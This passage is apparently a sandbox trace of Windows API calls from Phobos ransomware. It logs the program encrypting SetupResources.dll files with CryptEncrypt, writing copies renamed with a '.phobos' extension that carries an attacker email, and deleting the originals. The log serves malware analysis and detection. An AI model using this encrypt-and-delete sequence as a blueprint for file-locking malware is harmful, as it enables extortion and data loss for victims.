CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc290) returned 1 [0044.316] CryptSetKeyParam (hKey=0x10dc290, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.316] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4958, lpOverlapped=0x0) returned 1 [0044.362] CryptEncrypt (in: hKey=0x10dc290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4960, dwBufLen=0x4960 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4960) returned 1 [0044.362] WriteFile (in: hFile=0x324, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4960, lpOverlapped=0x0) returned 1 [0044.363] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dbd50) returned 1 [0044.363] CryptSetKeyParam (hKey=0x10dbd50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.363] CryptEncrypt (in: hKey=0x10dbd50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.363] CryptDestroyKey (hKey=0x10dbd50) returned 1 [0044.363] WriteFile (in: hFile=0x324, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.363] CryptDestroyKey (hKey=0x10dc290) returned 1 [0044.363] CloseHandle (hObject=0x30c) returned 1 [0044.363] CloseHandle (hObject=0x324) returned 1 [0044.364] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0044.365] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.365] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0044.365] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=17240) returned 1 [0044.365] CloseHandle (hObject=0x324) returned 1 [0044.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0044.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.365] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0044.365] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.366] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.366] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.371] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc010) returned 1 [0044.371] CryptSetKeyParam (hKey=0x10dc010, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.371] ReadFile (in: hFile=0x324, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4358, lpOverlapped=0x0) returned 1 [0044.387] CryptEncrypt (in: hKey=0x10dc010, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4360, dwBufLen=0x4360 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4360) returned 1 [0044.387] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4360, lpOverlapped=0x0) returned 1 [0044.389] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dbf50) returned 1 [0044.389] CryptSetKeyParam (hKey=0x10dbf50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.389] CryptEncrypt (in: hKey=0x10dbf50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.389] CryptDestroyKey (hKey=0x10dbf50) returned 1 [0044.389] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.389] CryptDestroyKey (hKey=0x10dc010) returned 1 [0044.389] CloseHandle (hObject=0x324) returned 1 [0044.389] CloseHandle (hObject=0x30c) returned 1 [0044.390] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0044.391] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.391] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.391] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=18264) returned 1 [0044.391] CloseHandle (hObject=0x30c) returned 1 [0044.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0044.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.391] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.391] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.391] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.391] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.395] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc250) returned 1 [0044.395] CryptSetKeyParam (hKey=0x10dc250, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.395] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4758, lpOverlapped=0x0) returned 1 [0044.453] CryptEncrypt (in: hKey=0x10dc250, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4760, dwBufLen=0x4760 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4760) returned 1 [0044.453] WriteFile (in: hFile=0x320, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4760, lpOverlapped=0x0) returned 1 [0044.454] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc290) returned 1 [0044.454] CryptSetKeyParam (hKey=0x10dc290, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.454] CryptEncrypt (in: hKey=0x10dc290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.454] CryptDestroyKey (hKey=0x10dc290) returned 1 [0044.454] WriteFile (in: hFile=0x320, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.454] CryptDestroyKey (hKey=0x10dc250) returned 1 [0044.454] CloseHandle (hObject=0x30c) returned 1 [0044.454] CloseHandle (hObject=0x320) returned 1 [0044.455] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0044.456] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.456] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.456] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=18776) returned 1 [0044.456] CloseHandle (hObject=0x320) returned 1 [0044.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0044.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.456] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.456] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.457] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.457] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.458] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dbe10) returned 1 [0044.458] CryptSetKeyParam (hKey=0x10dbe10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.458] ReadFile (in: hFile=0x320, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4958, lpOverlapped=0x0) returned 1 [0044.567] CryptEncrypt (in: hKey=0x10dbe10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4960, dwBufLen=0x4960 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4960) returned 1 [0044.567] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4960, lpOverlapped=0x0) returned 1 [0044.568] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dbe50) returned 1 [0044.568] CryptSetKeyParam (hKey=0x10dbe50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.568] CryptEncrypt (in: hKey=0x10dbe50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.568] CryptDestroyKey (hKey=0x10dbe50) returned 1 [0044.568] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.568] CryptDestroyKey (hKey=0x10dbe10) returned 1 [0044.568] CloseHandle (hObject=0x320) returned 1 [0044.568] CloseHandle (hObject=0x30c) returned 1 [0044.569] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0044.570] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.570] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.571] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=16728) returned 1 [0044.571] CloseHandle (hObject=0x30c) returned 1 [0044.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0044.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.571] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.571] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.571] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.571] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.574] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc290) returned 1 [0044.574] CryptSetKeyParam (hKey=0x10dc290, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.574] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4158, lpOverlapped=0x0) returned 1 [0044.613] CryptEncrypt (in: hKey=0x10dc290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4160, dwBufLen=0x4160 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4160) returned 1 [0044.613] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4160, lpOverlapped=0x0) returned 1 [0044.614] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc350) returned 1 [0044.614] CryptSetKeyParam (hKey=0x10dc350, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.614] CryptEncrypt (in: hKey=0x10dc350, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.614] CryptDestroyKey (hKey=0x10dc350) returned 1 [0044.614] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.614] CryptDestroyKey (hKey=0x10dc290) returned 1 [0044.614] CloseHandle (hObject=0x30c) returned 1 [0044.614] CloseHandle (hObject=0x328) returned 1 [0044.615] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0044.616] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.616] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.618] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=18264) returned 1 [0044.618] CloseHandle (hObject=0x30c) returned 1 [0044.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0044.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.619] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.619] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.619] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.619] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.632] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dbdd0) returned 1 [0044.632] CryptSetKeyParam (hKey=0x10dbdd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.632] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4758, lpOverlapped=0x0) returned 1 [0044.799] CryptEncrypt (in: hKey=0x10dbdd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4760, dwBufLen=0x4760 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4760) returned 1 [0044.799] WriteFile (in: hFile=0x308, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4760, lpOverlapped=0x0) returned 1 [0044.800] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc510) returned 1 [0044.800] CryptSetKeyParam (hKey=0x10dc510, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.801] CryptEncrypt (in: hKey=0x10dc510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.801] CryptDestroyKey (hKey=0x10dc510) returned 1 [0044.801] WriteFile (in: hFile=0x308, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.801] CryptDestroyKey (hKey=0x10dbdd0) returned 1 [0044.801] CloseHandle (hObject=0x30c) returned 1 [0044.801] CloseHandle (hObject=0x308) returned 1 [0044.802] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0044.803] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.803] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.803] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=15192) returned 1 [0044.803] CloseHandle (hObject=0x308) returned 1 [0044.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0044.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.803] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.803] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.803] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.804] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 